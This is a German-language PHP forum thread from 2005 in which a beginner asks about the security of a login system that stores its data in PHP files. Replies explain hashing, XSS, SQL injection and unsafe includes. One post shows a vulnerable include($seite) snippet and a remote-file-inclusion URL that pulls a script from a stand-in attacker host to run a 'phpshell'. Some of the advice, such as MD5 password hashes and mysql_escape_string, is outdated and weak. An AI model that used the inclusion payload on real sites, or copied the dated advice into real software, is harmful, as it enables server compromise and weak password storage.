tutorials.de Buch-Aktion 05/2012
Seite 1 von 2 12 LetzteLetzte
ERLEDIGT
JA
ANTWORTEN
15
ZUGRIFFE
3144
EMPFEHLEN
  • An Twitter übertragen
  • An Facebook übertragen
AUF DIESES THEMA
ANTWORTEN
  1. #1
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    Ich habe mit hilfe von PHP ein Login system erstellt das seine Daten in PHP dateien als Variablen speichert. Das system Funktioniert fehlerfrei ich würde jetzt gerne wissen wie es mit der sicherheit des ganzen aussieht. Man kann ja wenn man den genauen Pfad kennt auf die Speicherdateien zureifen aber man sieht ja eigentlich nicht weil der PHP Code in den Dateien nichts ausgibt sondern Variablen entält. Mir geht es jetzt darum ob man trotzdem auf diese weise die User daten herausfinden kann (ausser man häckt sich in den Server).

    mfg Prophet05
     

  2. #2
    Cocrane Cocrane ist offline Mitglied
    Registriert seit
    Mar 2005
    Beiträge
    10
    Eigentlich nicht, da der PHP-Code Serverseitig bearbeitet wird und nicht an die User gesendet wird.
     

  3. #3
    Registriert seit
    Dec 2001
    Ort
    Hannover
    Beiträge
    4.234
    Du kannst die Sicherheit auf jeden Fall erhöhen indem Du nicht die wirklichen Zugangsdaten, sondern z. B. nur die MD5-Hashes davon. Selbst wenn jemand die Passwortliste in die Hände bekommt hat er keine Möglichkeit ein Passwort daraus abzuleiten. Hier bliebe nur die Brute Force Methode und mit der kann es je nach Sicherheitsgrad des Passwortes viele, viele Jahre dauern so ein Passwort zu knacken (Entscheidend ist Länge, Zeichenwahl, etc.).
     
    Copy for free - Yet another page for free software with soures:
    • BitUnlocker (Automatic unlock multiple Bitlocker secured drives - if you use the same password)
    • W7 ScrollZoom (Use Windows 7 zoom tool through your mouse wheel)
    • AppStarter (Somewhat like PortableApps launcher)
    • QuakeConsole (Show/Hide windows console with your tilde key)
    • BetterFileRenamer (Simple file renamer that adds date and version)
    .... more to come

  4. #4
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    Also gilt grundsätzlich solange man den server nicht knackt kann auch keiner auf die daten/variablen zugreifen?Und solange ist auch die sicherheit gewährleistet

    mfg Prophet
     

  5. #5
    Cocrane Cocrane ist offline Mitglied
    Registriert seit
    Mar 2005
    Beiträge
    10
    Vom Prinzip her Ja, aber man kann natürlich Passwörter (was ich auch immer mache) verschlüsseln, damit wirklich keiner Zigriff erlangen kann.
     

  6. #6
    Registriert seit
    Dec 2001
    Ort
    Hannover
    Beiträge
    4.234
    Zitat Zitat von Prophet05
    Also gilt grundsätzlich solange man den server nicht knackt kann auch keiner auf die daten/variablen zugreifen?Und solange ist auch die sicherheit gewährleistet
    Nun, man muss den Server nicht unbedingt knacken. Ein nicht gut durchdachtes Script ermöglicht bereits Manipulation durch fremdem Quelltext (XSS) (fehlerhafte Includes, SQL-Injection, etc)

    Aber der normale Surfer bekommt auf seinen Browser eh nur reine HTML-Daten und nicht die »Daten/Variablen«
     
    Copy for free - Yet another page for free software with soures:
    • BitUnlocker (Automatic unlock multiple Bitlocker secured drives - if you use the same password)
    • W7 ScrollZoom (Use Windows 7 zoom tool through your mouse wheel)
    • AppStarter (Somewhat like PortableApps launcher)
    • QuakeConsole (Show/Hide windows console with your tilde key)
    • BetterFileRenamer (Simple file renamer that adds date and version)
    .... more to come

  7. #7
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    und wie macht man das? wenn dann würde ich das ganze gerne mit php realisieren. ich bräuchte dann einen ver und entschlüsselungs allgorhytmus. außerdem fällt mir ein das bringt wenn man server zugriff hat auch nichts mehr oder?

    mfg Prophet05
    Geändert von Prophet05 (26.03.05 um 01:14 Uhr)
     

  8. #8
    Avatar von wischmopp90
    wischmopp90 wischmopp90 ist offline Mitglied Gold
    Registriert seit
    Mar 2005
    Ort
    Rheinland-Pfalz (Hillscheid)
    Beiträge
    126
    Naja, wie kann man im iNet schon von Sicherheit Sprechen?
     

  9. #9
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    Naja, wie kann man im iNet schon von Sicherheit Sprechen?
    da hast du natürlich recht aber man sollte doch zumindest versuchen ein bisschen ordnung ins chaos zu bringen oder

    nochmal zur frage aus meiner letzten nachricht:
    und wie macht man das? wenn dann würde ich das ganze gerne mit php realisieren. ich bräuchte dann einen ver und entschlüsselungs allgorhytmus. außerdem fällt mir ein das bringt wenn man server zugriff hat auch nichts mehr oder?
    mfg Prophet05
    Geändert von Prophet05 (26.03.05 um 01:13 Uhr)
     

  10. #10
    Avatar von SilentWarrior
    SilentWarrior SilentWarrior ist offline Mitglied Diamant
    Registriert seit
    Dec 2001
    Beiträge
    3.078
    Gegen fehlerhafte Includes hilft eine Fallunterscheidung statt eines simplen include($_GET['page'].'.inc.php'), gegen SQL-Injections hilft mysql_escape_string().
     

  11. #11
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    tut mir leid ich bin noch nicht sehr weit in PHP kannst du mir das noch einaml erklären.

    mfg Prophet05
     

  12. #12
    Registriert seit
    Dec 2002
    Ort
    Trier
    Beiträge
    17.502
    Blog-Einträge
    10
    Der Punkt ist, dass man zur Sicherheit der Daten auf einem Server (Web- oder MySQL-Server) niemals einem Benutzer trauen sollte. Man sollte immer davon ausgehen, dass der Benutzer einem etwas Böses will. Demnach sind insbesondere Benutzereingaben – sei es in einem Formular oder als Anfrage eines URL – mit besonderer Vorsicht zu behandeln.

    Im Bezug auf eine SQL-Datenbank kann es beispielsweise zu so genannten SQL-Injektionen kommen. Um sich vor solchen SQL-Injektionen zu schützen, bietet PHP beispielsweise die mysql_real_escape_string()-Funktion an, die entsprechende Zeichen für MySQL maskiert und somit unschädlich macht.

    Ein weiteres Sicherheitsrisiko sind URLs. Viele greifen auf URL-Parametern zurück, um entsprechende Inhalte in eine Webseite einzubinden. Jedoch wird dort häufig nicht an Sicherheit gedacht. So kann es dazu kommen, dass – ähnlich wie bei den SQL-Injektionen – nicht vorhergesehene URLs angefragt werden, die von Laufzeitüberschreitungen (beispielsweise durch Angabe des aufgerufenen Dokuments) bis hin zu schwereren Fällen führen können, bei denen fremde Scripte aufgerufen und verarbeitet werden. Demnach sollten auch dort die Benutzereingaben unbedingt überprüft werden.
    Geändert von Gumbo (26.03.05 um 17:13 Uhr)
     

  13. #13
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    da ich keine datenbank benutzte wir das mit der sql injektion wohl kaum pssieren. ich kann mir zwar vorstellen das jemand bei der eingabe einen link eingibt aber welchen nutzten er daon hat verstehe ich nicht. in meinem phph script wird an keiner einzigen stelle irgendeine möglichkeit geliefert diesesn auszuführen oder habe ich dich da fasch verstanden?

    mfg Prophet05
     

  14. #14
    Registriert seit
    Mar 2005
    Beiträge
    367
    Hi,

    Da ist doch bestimmt auch ein Passwort mit drin dan sollte es doch keine Probleme geben weil er das nicht kennt.

    Hier nochmal meine Letzte Nachricht:
    da ich keine datenbank benutzte wir das mit der sql injektion wohl kaum pssieren. ich kann mir zwar vorstellen das jemand bei der eingabe einen link eingibt aber welchen nutzten er daon hat verstehe ich nicht. in meinem phph script wird an keiner einzigen stelle irgendeine möglichkeit geliefert diesesn auszuführen oder habe ich dich da fasch verstanden?
    mfg Prophet50
     

  15. #15
    Registriert seit
    Dec 2001
    Ort
    Hannover
    Beiträge
    4.234
    Das Include-Problem:
    Alle Daten die ein Besucher eingeben kann - MÜSSEN - erst einmal als -nicht vertrauenswürdig- eingestuft werden. Dazu zählen POST-, GET- und COOKIE-Daten.

    Ein Beispiel (die Daten kommen per GET - z. B. http://www.neseite.de/index.php?seite=impressum.php ):

    PHP-Code:
    <?php
    //mein doofer seitenincluder
    include($seite);
    ?>
    Wenn jetzt PHP nicht im Safe Modus läuft und die Funktion nicht deaktivert wurde, kann eine Include auch von einem entfernten Server kommen. Dies passiert dann über die Browseradressleiste indem man z. B. folgendes eingibt:
    http://www.neseite.de/index.php?seite=http://hackerseite.br/boesesscript.php

    Das Include ruft nun den fremden Quellcode auf, liest ihn ein und führt ihn aus. Und schon kann man viele nette sachen mit dem Webspace und/oder Server anstellen (eine kleine "phpshell" kann sehr fies werden).

    Ähnliches ist auch über Formulare möglich. Es gibt viele Ansatzpunkte über die sich ein Entwickler Gedanken machen sollte.
     
    Copy for free - Yet another page for free software with soures:
    • BitUnlocker (Automatic unlock multiple Bitlocker secured drives - if you use the same password)
    • W7 ScrollZoom (Use Windows 7 zoom tool through your mouse wheel)
    • AppStarter (Somewhat like PortableApps launcher)
    • QuakeConsole (Show/Hide windows console with your tilde key)
    • BetterFileRenamer (Simple file renamer that adds date and version)
    .... more to come

Ähnliche Themen

  1. Sicherheit? Wie und was?
    Von BeaTBoxX im Forum PHP
    Antworten: 4
    Letzter Beitrag: 28.04.11, 13:28
  2. Sicherheit im Web 2.0
    Von Freak im Forum Smalltalk
    Antworten: 0
    Letzter Beitrag: 24.03.09, 16:28
  3. Sicherheit?
    Von hhunderter im Forum PHP
    Antworten: 2
    Letzter Beitrag: 10.01.09, 03:03
  4. Sicherheit
    Von NCortex im Forum PHP
    Antworten: 5
    Letzter Beitrag: 08.08.07, 12:32
  5. sicherheit
    Von polar im Forum PHP
    Antworten: 1
    Letzter Beitrag: 01.11.02, 02:29